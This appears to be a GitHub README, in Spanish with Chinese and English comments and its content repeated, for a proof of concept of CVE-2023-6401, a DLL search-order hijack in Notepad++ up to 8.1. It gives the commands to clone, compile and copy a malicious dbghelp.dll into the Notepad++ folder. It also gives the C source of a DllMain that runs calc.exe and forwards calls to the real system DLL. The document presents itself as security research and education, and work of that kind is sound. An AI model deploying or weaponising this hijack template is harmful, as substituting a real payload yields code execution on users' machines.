
CVE-2023-6401 es una vulnerabilidad de secuestro de DLL que permite a los atacantes ejecutar código arbitrario colocando un archivo `dbghelp.dll` malicioso en el directorio de la aplicación. Este proyecto demuestra la vulnerabilidad y proporciona un PoC reproducible.
⚠️ Aviso importante: Solo para fines de investigación y educación en seguridad
Prueba de concepto de la vulnerabilidad de secuestro de DLL en NotePad++ ≤ 8.1. Ejecuta código arbitrario colocando un dbghelp.dll malicioso en el directorio de la aplicación.
# 下載專案
git clone https://github.com/mekitoci/CVE-2023-6401.git
# 進入專案目錄
cd CVE-2023-6401-main
# 編譯DLL
# gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# 部署到NotePad++目錄
copy dbghelp.dll "C:\Program Files\Notepad++\"
# 執行測試
"C:\Program Files\Notepad++\notepad++.exe"
# 立即清理
del "C:\Program Files\Notepad++\dbghelp.dll"
Resultado esperado: aparece la calculadora + se muestra un cuadro de mensaje + NotePad++ se inicia con normalidad

| Elemento | Detalles |
|---|---|
| Número de CVE | CVE-2023-6401 |
| Versiones afectadas | NotePad++ ≤ 8.1 |
| Tipo de vulnerabilidad | Secuestro de DLL / Secuestro del orden de búsqueda |
| Impacto | Ejecución de código arbitrario |
| Requisitos previos | Permiso de escritura en el directorio de la aplicación |
Windows carga las DLL en el siguiente orden:
NotePad++ carga dbghelp.dll al iniciarse. Al colocar una DLL maliciosa con el mismo nombre en el directorio de la aplicación, se puede ejecutar código antes de que se cargue la DLL del sistema.
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// 執行惡意程式碼
WinExec("calc.exe", SW_SHOW);
MessageBoxA(NULL, "CVE-2023-6401 Crack", "Alert", MB_OK);
// 載入真實DLL並轉發API調用
char systemPath[MAX_PATH];
GetSystemDirectoryA(systemPath, MAX_PATH);
strcat(systemPath, "\\dbghelp.dll");
realDbghelp = LoadLibraryA(systemPath);
if (realDbghelp)
realImageNtHeader = (pImageNtHeader)GetProcAddress(realDbghelp, "ImageNtHeader");
break;
}
return TRUE;
}
gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# 移除惡意DLL
del "C:\Program Files\Notepad++\dbghelp.dll"
# 確認移除
dir "C:\Program Files\Notepad++\dbghelp.dll" 2>nul || echo "清理完成"
Este proyecto se proporciona únicamente con fines educativos y de investigación en seguridad. El usuario es el único responsable de cumplir con las leyes y normativas aplicables.
⚠️ AVISO IMPORTANTE: Solo para fines de investigación y educación en seguridad
Prueba de concepto de la vulnerabilidad de secuestro de DLL en NotePad++ ≤ 8.1. Ejecuta código arbitrario colocando un dbghelp.dll malicioso en el directorio de la aplicación.
# Clone the project
git clone https://github.com/mekitoci/CVE-2023-6401.git
# Navigate to project directory
cd CVE-2023-6401-main
# gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# Deploy to NotePad++ directory
copy dbghelp.dll "C:\Program Files\Notepad++\"
# Execute test
"C:\Program Files\Notepad++\notepad++.exe"
# Immediate cleanup
del "C:\Program Files\Notepad++\dbghelp.dll"
Resultado esperado: aparece la calculadora + se muestra un cuadro de mensaje + NotePad++ se inicia con normalidad

| Elemento | Detalles |
|---|---|
| Número de CVE | CVE-2023-6401 |
| Versiones afectadas | NotePad++ ≤ 8.1 |
| Tipo de vulnerabilidad | Secuestro de DLL / Secuestro del orden de búsqueda |
| Impacto | Ejecución de código arbitrario |
| Requisitos previos | Permiso de escritura en el directorio de la aplicación |
Windows carga las DLL en el siguiente orden:
NotePad++ carga dbghelp.dll al iniciarse. Al colocar una DLL maliciosa con el mismo nombre en el directorio de la aplicación, se puede ejecutar código antes de que se cargue la DLL del sistema.
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// Execute malicious code
WinExec("calc.exe", SW_SHOW);
MessageBoxA(NULL, "CVE-2023-6401 Crack", "Alert", MB_OK);
// Load real DLL and forward API calls
char systemPath[MAX_PATH];
GetSystemDirectoryA(systemPath, MAX_PATH);
strcat(systemPath, "\\dbghelp.dll");
realDbghelp = LoadLibraryA(systemPath);
if (realDbghelp)
realImageNtHeader = (pImageNtHeader)GetProcAddress(realDbghelp, "ImageNtHeader");
break;
}
return TRUE;
}
gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# Remove malicious DLL
del "C:\Program Files\Notepad++\dbghelp.dll"
# Confirm removal
dir "C:\Program Files\Notepad++\dbghelp.dll" 2>nul || echo "Cleanup completed"
Este proyecto se proporciona únicamente con fines educativos y de investigación en seguridad. El usuario es el único responsable de cumplir con las leyes y normativas aplicables.